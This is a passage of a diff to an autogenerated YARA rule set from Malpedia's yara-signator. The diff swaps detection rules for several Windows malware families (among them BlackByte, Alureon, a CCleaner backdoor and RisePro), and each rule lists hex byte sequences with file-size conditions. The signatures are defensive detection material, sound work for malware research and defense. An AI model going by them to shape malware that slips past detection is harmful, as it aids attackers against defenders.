50 8d85f0fbffff 50 8b4df8 51 e8???????? } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Pwnpos_Auto : FILE +rule MALPEDIA_Win_Blackbyte_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f880853-80ef-5ec2-a31a-31cd2006dc43" + id = "3f4218e0-59a8-5f1a-8491-b9f27553e507" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pwnpos_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbyte_auto.yar#L1-L156" license_url = "N/A" - logic_hash = "145bb3fa97da57220c104891d855f912aebbcf21962d1405b1589dc2cce60605" + logic_hash = "0158273c319395ac538b84dc759203c353b02e7e79481c3f34491558ae9bcead" score = 75 quality = 75 tags = "FILE" @@ -99828,32 +99911,38 @@ rule MALPEDIA_Win_Pwnpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? bb0b000000 52 899c2468020000 e8???????? 83c40c } - $sequence_1 = { 8b07 8b4004 3974380c 750f 8b44383c 3bc6 7407 } - $sequence_2 = { 8bf0 33db 83c404 3bf3 742d 8d4e18 c7460401000000 } - $sequence_3 = { 8d4df0 e8???????? 8b4d0c 895dfc 8b5f30 51 c745ec01000000 } - $sequence_4 = { 51 53 56 52 50 8d4c243c 51 } - $sequence_5 = { 8b4d08 83c118 e9???????? 8b4d08 83c118 e9???????? } - $sequence_6 = { 720f 8b95a0f9ffff 52 e8???????? 83c404 b001 8b4df4 } - $sequence_7 = { 57 57 57 57 57 8d85d8f9ffff 50 } - $sequence_8 = { c705????????80b24300 c3 c705????????80b24300 c3 } - $sequence_9 = { 0f871c020000 ff248dc86f4300 8d48cf 80f908 7706 } + $sequence_0 = { 498d7101 0f1f440000 4839c6 7ce0 4889c6 41b806000000 } + $sequence_1 = { 3bc1 7505 e8???????? 4883c304 } + $sequence_2 = { 3bc2 72f4 b8ffffffff 4883c420 } + $sequence_3 = { 3bc7 7ce0 eb03 488bda } + $sequence_4 = { 3bc1 7f4d 33c9 4c63c8 } + $sequence_5 = { 4983f851 7553 4c8d4002 4c39c1 } + $sequence_6 = { 4989c3 4889cf 488b4c2428 48897c2450 4c895c2468 4b8d0413 90 } + $sequence_7 = { 4983f803 0f8f66010000 90 4983f801 0f8fb6000000 } + $sequence_8 = { 3bc2 7f2f 4c63d8 85c0 } + $sequence_9 = { 0f1005???????? 4c8960e0 4533e4 4c8968d8 } + $sequence_10 = { 4983f805 0f8511020000 4c8d4304 4c39c6 } + $sequence_11 = { 493b6610 0f8626010000 4883ec70 48896c2468 488d6c2468 } + $sequence_12 = { 3bc1 7573 488d4c2448 664585c0 } + $sequence_13 = { 3bc1 7558 498bcb 6685d2 } + $sequence_14 = { 4989c3 488b8424b0000000 e8???????? 488b4c2468 } + $sequence_15 = { 493b6610 767b 4883ec38 48896c2430 488d6c2430 4889442440 49c7c500000000 } condition: - 7 of them and filesize < 638976 + 7 of them and filesize < 9435136 } -rule MALPEDIA_Win_Stinger_Auto : FILE +rule MALPEDIA_Win_Atmii_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3d5345cc-6891-5cd1-840e-a83631b5fe99" + id = "4bbbbf02-dbb5-50f9-89bd-68bafb7f61b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stinger_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmii_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "89238eb5fdfe99680f7f49528afc66652f68e02cb4c9414363e841a63c1fb66a" + logic_hash = "de7adb20577b33d8a8506758d2e0ffbda74b46bc9a6446d600c84a3c6b3b34c4" score = 75 quality = 75 tags = "FILE" @@ -99867,32 +99956,38 @@ rule MALPEDIA_Win_Stinger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c404 8b5dfc 53 83c324 53 8b1b } - $sequence_1 = { 85db 7409 53 e8???????? 83c404 ff75f0 ff75f4 } - $sequence_2 = { 83f90a 1bd2 83d100 c1e008 8d4cd137 0bc1 } - $sequence_3 = { 8b5dfc 83c320 895df8 8b5df8 } - $sequence_4 = { 83f800 0f84e6030000 ff75fc 8b5d08 ff33 b902000000 e8???????? } - $sequence_5 = { ff35???????? ff35???????? b903000000 e8???????? 83c40c 8945c4 6805000080 } - $sequence_6 = { 51 53 890b 50 3bc8 0f8f56030000 } - $sequence_7 = { 8b5dfc 83c314 895df8 8965f4 6800000000 ff15???????? 90 } - $sequence_8 = { 8a143a 8a0c30 32ca 5a 880c10 } - $sequence_9 = { 8b5df8 8b7df4 85db 8b75fc 7436 0fb606 8bc8 } + $sequence_0 = { f6c302 740a 83481804 8a0a 884810 } + $sequence_1 = { eb60 68???????? eb55 68???????? 8d55ac 52 } + $sequence_2 = { 56 c745f800000000 ff15???????? 85c0 0f94c0 8845ff } + $sequence_3 = { 8d95dcfbffff 52 e8???????? 83c418 6a00 } + $sequence_4 = { 50 ffd3 8a5510 8985cdf9ffff 8b450c 50 } + $sequence_5 = { 750a 8b4dfc 8b5109 ffd2 eb02 33c0 } + $sequence_6 = { 8b55fc 0355f4 8a02 8801 ebdd 8be5 } + $sequence_7 = { 8d95fcf3ffff 52 e8???????? 83c42c } + $sequence_8 = { 8d45b8 50 68???????? 68b6000000 8d8df8fcffff 68???????? 51 } + $sequence_9 = { 6a00 6a02 ff15???????? 8bf8 897dfc 83ffff 0f8456010000 } + $sequence_10 = { 8985c5f9ffff ffd7 50 ffd3 } + $sequence_11 = { 0f8419040000 53 57 6814020000 } + $sequence_12 = { 83c414 68???????? 50 68???????? 68???????? ffd7 8b4e10 } + $sequence_13 = { 8d45cc 50 eb14 68???????? 8d4dcc } + $sequence_14 = { 6a00 ff15???????? 50 ff15???????? 68???????? 68d5000000 } + $sequence_15 = { 8a8dfcfeffff 8a95fefeffff 8a8500ffffff 57 } condition: - 7 of them and filesize < 197096 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Kaolin_Rat_Auto : FILE +rule MALPEDIA_Win_Alureon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9e8556c-d2a8-55c8-b1a4-294ebe1251e5" + id = "117dd26b-ed24-54a6-81be-757a69affa6d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kaolin_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kaolin_rat_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alureon_auto.yar#L1-L175" license_url = "N/A" - logic_hash = "f64c57e6849676b495ac58f80cd5164da6e94327fa0e0172abebd0301649988c" + logic_hash = "9eb93e11f255dfd7233db5216742e55bd1642de34cc4ea7abe163cf90bc56063" score = 75 quality = 75 tags = "FILE" @@ -99906,34 +100001,40 @@ rule MALPEDIA_Win_Kaolin_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 44897c2428 44897c2420 4533c9 4533c0 488bd0 33c9 } - $sequence_1 = { 66c704083f00 eb1d 48c744242001000000 4c8d0df8af0200 ba01000000 498bcc e8???????? } - $sequence_2 = { 488bd7 488d4d08 e8???????? 488b4d18 488b5520 488bc2 482bc1 } - $sequence_3 = { 488b8a30000000 e9???????? 488b8a60000000 e9???????? 4055 4883ec20 488bea } - $sequence_4 = { 48833d????????10 480f4305???????? 448828 418bdd 48391d???????? } - $sequence_5 = { 4c8d0dab4c0200 ba03000000 488bcf e8???????? } - $sequence_6 = { 4885c0 750a b9c8000000 e9???????? 4c8b6008 488b00 83b88c00000000 } - $sequence_7 = { ba04010000 488d8db0000000 e8???????? 418bcf 48890d???????? 488d3d5eae0300 488d1517b00300 } - $sequence_8 = { 4883fa10 480f431d???????? 4803d9 4d8bc6 498bd5 488bcb e8???????? } - $sequence_9 = { 482bc1 4883f801 721d 488d4101 488945d0 488d45c0 4883fa10 } + $sequence_0 = { 895d14 7439 49 d1e9 41 894df8 8b4d14 } + $sequence_1 = { 6a60 59 32c0 8d7c2420 } + $sequence_2 = { 45 33d2 0fb74158 d1e8 44 } + $sequence_3 = { 49 8d541d2c 45 8be3 49 8bfb } + $sequence_4 = { 8bc3 c1e808 88442440 8954242c } + $sequence_5 = { 68000010c0 8d45fc 50 c745d818000000 895ddc c745e440000000 895de8 } + $sequence_6 = { 49 8bfb 44 2b6330 8b0a 48 } + $sequence_7 = { 668b85a0fbffff 8b4df4 8b3d???????? 66894108 } + $sequence_8 = { 5f 8d442454 89442428 8d442420 50 } + $sequence_9 = { 75f9 ff75b4 8d4dbc 2bc6 8b35???????? 51 } + $sequence_10 = { 50 68???????? a4 ff15???????? 8bc3 8d7001 8a08 } + $sequence_11 = { ff742428 ff15???????? 8bf8 83ffff 7507 33c0 eb43 } + $sequence_12 = { beff000000 33db 56 8d85f9fcffff 53 50 } + $sequence_13 = { 8d9c2400050000 e8???????? 8bc3 50 33db 53 53 } + $sequence_14 = { 8bf8 83c418 85ff 7504 32c0 } + $sequence_15 = { e8???????? be00030000 83c418 8975ec c745f000010000 895df8 56 } condition: - 7 of them and filesize < 581632 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Campoloader_Auto : FILE +rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "47bbab4d-d2fa-57b5-b699-26c8446d214c" + id = "afe83831-af08-566c-bd71-ab10e23239e8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.campoloader_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ccleaner_backdoor_auto.yar#L1-L275" license_url = "N/A" - logic_hash = "66a1664e5b6aaa82c7d5c893eda78f4cfabab07bd0de557bd9bf7b0222c59b17" + logic_hash = "be44c857d399380efa2dec8cf50305b24c9727966e69281b9da9b0167cac9243" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -99945,32 +100046,53 @@ rule MALPEDIA_Win_Campoloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2b4dd8 894dd4 8b55f8 0355d4 8955f8 8b45f8 } - $sequence_1 = { 7407 33c0 e9???????? c78548efffff00000000 8d8de8fcffff 898d7cefffff } - $sequence_2 = { 898568efffff 8d95f0feffff 52 ff15???????? 898550efffff 0fb78554efffff 50 } - $sequence_3 = { 8bec b8bc100000 e8???????? a1???????? 33c5 8945fc a1???????? } - $sequence_4 = { 8b55f8 0355d4 8955f8 8b45f8 } - $sequence_5 = { 8a11 8855e4 8345d001 807de400 75ee 8b45d0 2b45a4 } - $sequence_6 = { e8???????? 83c404 89856cefffff 8b958cefffff 2b956cefffff 89958cefffff c78564efffff00000000 } - $sequence_7 = { ff15???????? 898550efffff 0fb78554efffff 50 ff15???????? 66898522f1ffff b902000000 } - $sequence_8 = { 8b45e4 8945ec 8b4dec 83c101 894dd8 } - $sequence_9 = { c745f8ffffffff 8b45e8 50 8b4d08 51 ff15???????? 83c408 } + $sequence_0 = { ffd6 50 ff15???????? 8b3d???????? 59 ffd7 } + $sequence_1 = { 8a11 305103 8b480c 8b09 8a5101 } + $sequence_2 = { 03c6 85c0 7f09 488b0a 488b01 ff5008 488b4b28 } + $sequence_3 = { 01442424 eb30 8b4508 897518 } + $sequence_4 = { 8d856cffffff 6a0c 50 c7856cffffff11618a64 c78570ffffff470de38d c78574ffffff27defaf2 e8???????? } + $sequence_5 = { 013e 33c0 8b16 83c410 } + $sequence_6 = { 03c6 4863d0 4c8d0c12 4c8d4718 } + $sequence_7 = { 33f6 6a1c 8d45e4 59 c60000 } + $sequence_8 = { 01cc cc 48895c2408 57 } + $sequence_9 = { 03c0 894340 8b7340 418bc4 } + $sequence_10 = { 83c410 8d85fcfeffff 50 ff15???????? be00010000 } + $sequence_11 = { 8b450c 53 56 8b7508 8b5510 03c6 } + $sequence_12 = { 03cd 41 8a01 4c 03cd 8802 } + $sequence_13 = { 6844494e00 e8???????? 8365e400 8945e0 8d4508 6a04 } + $sequence_14 = { 83e805 743a 48 7409 } + $sequence_15 = { 7507 33c0 e9???????? e8???????? 6800000100 6a40 } + $sequence_16 = { 01442454 03d1 294c2450 8b4c2410 } + $sequence_17 = { 01460c 488b3f 493bfc 0f8554ffffff } + $sequence_18 = { 01461c 8b542424 85d2 7405 } + $sequence_19 = { 0fb645f8 50 8d45d8 50 } + $sequence_20 = { 012e 33c0 5f 5e } + $sequence_21 = { 00cc cc 4057 4883ec50 } + $sequence_22 = { 03c7 4863c8 488d1c4b 493bdc } + $sequence_23 = { 42 47 8a07 8802 8a4701 42 8802 } + $sequence_24 = { 014c2464 40 89542418 89442430 } + $sequence_25 = { ff15???????? 46 83fe3c 7cd0 } + $sequence_26 = { 50 56 e8???????? 8b45f8 bfa0010000 c1e008 } + $sequence_27 = { 01442418 03c8 8954242c 8b542470 } + $sequence_28 = { 00cc cc 4883ec28 488b11 } + $sequence_29 = { 8bd1 49 8bd0 41 } + $sequence_30 = { 013d???????? 8b04b5d8970210 0500080000 3bc8 } condition: - 7 of them and filesize < 66560 + 7 of them and filesize < 377856 } -rule MALPEDIA_Win_Chrgetpdsi_Stealer_Auto : FILE +rule MALPEDIA_Win_Mirage_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d3ecdf63-3d7b-56f8-8ebb-39b6f5471caa" + id = "c8a9a712-bc3f-5690-a472-64df6910b6ba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chrgetpdsi_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chrgetpdsi_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirage_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "6bfcd142e96c03742e4fbcd1d45c8791f0f2de988eb9c6e51f8b962532c287a2" + logic_hash = "4e4af3295967c47493f17386d2e75f998cb14d5de0104dd5de1d503e94b2b46e" score = 75 quality = 75 tags = "FILE" @@ -99984,32 +100106,38 @@ rule MALPEDIA_Win_Chrgetpdsi_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488dbc2428010000 488d742408 660f1f840000000000 0f1f4000 48896c24f0 488d6c24f0 e8???????? } - $sequence_1 = { e8???????? 84c0 0f8489010000 488b4c2458 488d7101 488b7c2478 0f1f440000 } - $sequence_2 = { 48898c24b0000000 4889442468 48895c2460 488d3dd9b32500 be27000000 e8???????? 488b542468 } - $sequence_3 = { 89d8 e8???????? 4889442458 48895c2448 488d05e3a61c00 0f1f00 e8???????? } - $sequence_4 = { 90 90 488d05e41e4200 e8???????? 90 488b4c2420 488b542418 } - $sequence_5 = { b909000000 488bbc2408060000 488bb42410060000 4c8d0575882700 41b91a000000 e8???????? 0f1f4000 } - $sequence_6 = { 31c0 31c9 31d2 31db e9???????? 4889d9 4889c3 } - $sequence_7 = { 48c740100f000000 488d0dca832500 48894808 833d????????00 7509 488905???????? eb0c } - $sequence_8 = { 4c8b842410010000 0f1f4000 e9???????? 4c8b842410010000 4d85c0 7e24 498d48ff } - $sequence_9 = { 4c89442478 0f1f00 4883fa01 7546 488d0573ca1a00 bb01000000 4889d9 } + $sequence_0 = { 68???????? 6801000080 ff15???????? 85c0 7556 } + $sequence_1 = { 68???????? c745f804010000 ff75fc ff15???????? ff75fc } + $sequence_2 = { 0f84d1000000 57 e8???????? 8d7c0302 c70424???????? } + $sequence_3 = { 55 8bec b82c410000 e8???????? 53 56 } + $sequence_4 = { 8d45f4 50 53 68???????? c745f804010000 } + $sequence_5 = { e8???????? b8???????? 8d8d90feffff 50 8945e8 e8???????? 3bc3 } + $sequence_6 = { 0f86a0000000 bf14410000 8d8568bbffff 57 53 } + $sequence_7 = { 3bf3 0f85a9000000 381f 0f84a1000000 8d85ecfeffff 68???????? 50 } + $sequence_8 = { 6a01 6a06 c645ff01 ff7620 } + $sequence_9 = { 80c261 88543724 46 83fe1f 7ce8 80643e2400 } + $sequence_10 = { e9???????? 83fe04 0f859afdffff 56 8d4508 } + $sequence_11 = { 66218514fbffff b981000000 8dbd16fbffff c745ec01000000 f3ab 66ab 8d45f4 } + $sequence_12 = { e8???????? 83c410 56 8d8514fbffff 6a00 } + $sequence_13 = { ab ab 33c0 8dbda6ebffff 6689b5a4ebffff } + $sequence_14 = { c3 53 e8???????? 59 ff75f0 ff15???????? } + $sequence_15 = { ffd7 85c0 7547 8d8514fbffff 85c0 } condition: - 7 of them and filesize < 10027008 + 7 of them and filesize < 1695744 } -rule MALPEDIA_Win_Risepro_Auto : FILE +rule MALPEDIA_Win_Unidentified_106_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a15990c8-9753-5e87-a4b5-d8648a3a2e45" + id = "ea4969ee-e7d3-51c5-a790-866750e5961b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.risepro_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_106_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "27ab7b74bb4368f92b33ca48075a5bb9daa807fbe12d867a6bb9fe94c38b462c" + logic_hash = "d6bc870d9f53493eb97d63e12993bef0e39d6447b53eae3a48dc5e8a9f09d6c4" score = 75 quality = 75 tags = "FILE" @@ -100023,32 +100151,32 @@ rule MALPEDIA_Win_Risepro_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb04 32c0 eb02 b001 8be5 5d } - $sequence_1 = { e8???????? 50 8d4de4 e8???????? ebdc 8d4de4 } - $sequence_2 = { 8b5508 8d0c4a 8d5514 e8???????? } - $sequence_3 = { 8995f0feffff b808000000 6bc800 8b95ccfeffff 8b840a8c000000 } - $sequence_4 = { 8b4de8 0fb79180000000 52 8b4508 50 8b4de8 e8???????? } - $sequence_5 = { c745fc00000000 c745d888bd4100 8b4de8 51 8b55d8 52 8d4def } - $sequence_6 = { 8b55c8 8955b0 8d45d8 50 } - $sequence_7 = { 8bc8 e8???????? 8945f8 e8???????? 8945f4 } - $sequence_8 = { 64a300000000 894dc4 8b4dc4 83c11c e8???????? } - $sequence_9 = { 2b45f0 3b45f4 7305 e8???????? 8a45fe } + $sequence_0 = { ff5040 89442440 85c0 780a c783f000000001000000 8b442440 4883c420 } + $sequence_1 = { ba64000c00 488bcf 4c8be8 ff96c0000000 4885c0 750d bfeaffffff } + $sequence_2 = { 83e27f 8d0432 413bc4 0f87e0fbffff 83fa04 0f87d7fbffff 85d2 } + $sequence_3 = { ffc0 4883c110 413bc5 72f0 33c9 e8???????? 488b4c2448 } + $sequence_4 = { e8???????? 488d9424f0000000 498bce e8???????? 488d4c2420 e8???????? 41b820000000 } + $sequence_5 = { 8bea 448b895c010000 448be2 412bf1 488bd9 2bee 85f6 } + $sequence_6 = { c7470801000000 0f57c0 4889442470 0f57c9 48896c2440 41b00b 48896c2448 } + $sequence_7 = { 85c0 7531 0fb7833c040000 6683e030 6683f810 7509 c683470400000a } + $sequence_8 = { 8b4a04 394c2460 7507 beffffffff eb62 ba07000300 48896c2478 } + $sequence_9 = { 7519 488d0598730800 c7450403000000 48898590000000 32c0 eb1f 488b5308 } condition: - 7 of them and filesize < 280576 + 7 of them and filesize < 27402240 } -rule MALPEDIA_Win_Splitloader_Auto : FILE +rule MALPEDIA_Win_Dmsniff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1a1cb38c-8464-5fc4-a742-33ff9af7dc5d" + id = "e9b02a57-acfd-5696-afff-e1ad9ad00d2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splitloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splitloader_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dmsniff_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "16d8d2ed74e30686bcfb5a681aebf6245d42317682bf1d1bc1fbb6f6c4392dc3" + logic_hash = "8d240517eec8ca9f146a8569ec7f531dfedcca5581430f505c0f5f429a443243" score = 75 quality = 75 tags = "FILE" @@ -100062,32 +100190,32 @@ rule MALPEDIA_Win_Splitloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6817401000043 c681f701000043 488d0524910000 488981b8000000 b90d000000 e8???????? } - $sequence_1 = { 8bca 418984240cab0000 48014d10 85c0 790a b8fdffffff } - $sequence_2 = { 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 83fa05 } - $sequence_3 = { 488bcf 4889742420 ff15???????? 4533c9 } - $sequence_4 = { 488be9 41be08000000 4d85e4 750e 418d46f6 4883c460 415e } - $sequence_5 = { 48897c2418 4154 4883ec20 4c8d25fc970000 33f6 } - $sequence_6 = { 750e 0f1f4000 4883c702 6644391f 74f6 } - $sequence_7 = { 8905???????? 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 } - $sequence_8 = { eb9a 488d15df660000 488d0dc0660000 e8???????? 488d15dc660000 } - $sequence_9 = { 6644391f 750e 0f1f4000 4883c702 } + $sequence_0 = { 7316 8bbdfcfeffff 89fe 46 89b5fcfeffff 899cbd00ffffff 8d85f0feffff } + $sequence_1 = { d92c24 83c404 6a00 6a00 68???????? 68???????? } + $sequence_2 = { 50 8b10 ff5220 89c7 09ff 0f8563010000 6a00 } + $sequence_3 = { 50 8b10 ff5250 89c7 } + $sequence_4 = { 47 39f7 72d3 ff45fc 8b45f4 3945fc 72c2 } + $sequence_5 = { f7e7 8945ec 50 e8???????? 89c3 } + $sequence_6 = { 59 be0f000000 39c6 761a 68???????? e8???????? } + $sequence_7 = { 50 ff7508 e8???????? 68???????? e8???????? 50 ff7508 } + $sequence_8 = { e8???????? 68???????? e8???????? 89c2 6a00 } + $sequence_9 = { 89c3 81e3ff000000 89de 83c661 89f3 881d???????? b803000000 } condition: - 7 of them and filesize < 174080 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Vshell_Auto : FILE +rule MALPEDIA_Win_Blackmagic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9d00442f-4008-5c2c-a89f-67c6ad34a468" + id = "9637b230-6b90-5402-8df5-d6a9a08385b0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vshell_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmagic_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "af7100cec7361ef2656c4b43a7045079d3f82b2662234a4759041cc9664982f0" + logic_hash = "0682a81f91c82180ece20284a26ec164fbede145e670a9eec1710d6febfbedfc" score = 75 quality = 75 tags = "FILE" @@ -100097,36 +100225,36 @@ rule MALPEDIA_Win_Vshell_Auto : FILE malpedia_rule_date = "20260105" malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { e8???????? 90 bf01000000 90 e8???????? 488b942480000000 48894a70 } - $sequence_1 = { eb50 488b842498000000 48c740280b000000 eb3e 488b842428010000 488b9c2430010000 e8???????? } - $sequence_2 = { e8???????? 48c70019000000 e8???????? 4889c1 4889df 488d05419d5d00 488b9c2490000000 } - $sequence_3 = { eb1b 440fb64c3c27 418d3431 8d76cd 4088741427 4488443c27 4883c002 } - $sequence_4 = { eb38 488b8c2488000000 488b4110 e8???????? 4889c3 488d053d4ca100 488b6c2478 } - $sequence_5 = { eba7 4885c9 741c 48894c2440 48899c2498000000 31c0 31d2 } - $sequence_6 = { e8???????? e8???????? 4889842478040000 e8???????? 4889842470040000 48899c24d8010000 e8???????? } - $sequence_7 = { eb0c 488d3da654b000 e8???????? 4885db 7410 4889d8 4889cb } - $sequence_8 = { e8???????? eb38 488b7c2428 488b07 488b5f08 488b4f10 440f117f08 } - $sequence_9 = { c744242c4e67d48a 48ba22266cf93b139a0b 4889542418 c74424206ecc42ee 31c0 eb1a 0fb6540424 } + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 4c8d05aa2c0200 e8???????? 488bf0 4885c0 7412 488bc8 ff15???????? } + $sequence_1 = { 488bd7 488d8c2430010000 e8???????? 90 33d2 41b810010000 488d8c24e0010000 } + $sequence_2 = { 33db 49895bb8 885c2470 448d4317 488d15898a0400 498d4ba8 e8???????? } + $sequence_3 = { 488d4dd7 e8???????? 90 41b84d000000 488d159b810400 e8???????? 90 } + $sequence_4 = { 0f284587 488d154d1b0300 488d4d87 660f7f4587 e8???????? 488d5587 488d4c2440 } + $sequence_5 = { e8???????? 4885c0 7411 8a0e 488d1597120300 488910 884808 } + $sequence_6 = { 90 488d05437a0600 4889442428 488d4c2460 488d542468 488b442468 } + $sequence_7 = { 488b05???????? 488945d0 488b75f0 488975b8 488975d8 33c0 488985c0000000 } + $sequence_8 = { e8???????? 488bd8 488bc3 4883c430 415e 5f 5e } + $sequence_9 = { 488905???????? ff15???????? 483305???????? 488d1560360300 488bcb 488905???????? ff15???????? } condition: - 7 of them and filesize < 39452672 + 7 of them and filesize < 1416192 } -rule MALPEDIA_Win_Horus_Auto : FILE +rule MALPEDIA_Win_Domino_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "69a4cf35-2806-517b-bb53-0add97c1f457" + id = "10f793c1-4d4b-5de7-9702-d644c24734c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.horus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.horus_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.domino_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "98e7222b64c7a567c8f798abf5f3ca917bf88c189a0e21ef9e9894081482246f" + logic_hash = "e26eed1b473d3625fb435dacac72b22f0ae1cadfb46f5a5ee8d2f38a588ca275" score = 75 quality = 75 tags = "FILE" @@ -100140,32 +100268,32 @@ rule MALPEDIA_Win_Horus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b456f 3bc7 0f8458ffffff 488b757f 897d6f 8b456f 3bc7 } - $sequence_1 = { 57 4883ec20 488b19 488bf9 4885db 0f84de000000 488b7378 } - $sequence_2 = { 4c8945e8 488d4550 488945e0 65488b042560000000 488b4818 488b4110 488b08 } - $sequence_3 = { 480f499df0000000 4885db 742f 488d4307 b908000000 8000d9 48ffc8 } - $sequence_4 = { 488b5df8 eb02 33db 4885db 7429 488d4307 b908000000 } - $sequence_5 = { 4c8bc6 488bc8 33d2 ff15???????? 49833c2400 0f8494000000 bd01000000 } - $sequence_6 = { 83632c00 83633000 c7456f04fa0100 e9???????? 83637c00 488d4b04 488bd6 } - $sequence_7 = { 7457 3d21c40100 0f84d8000000 3d84c80100 0f85cf000000 488b4580 4885c0 } - 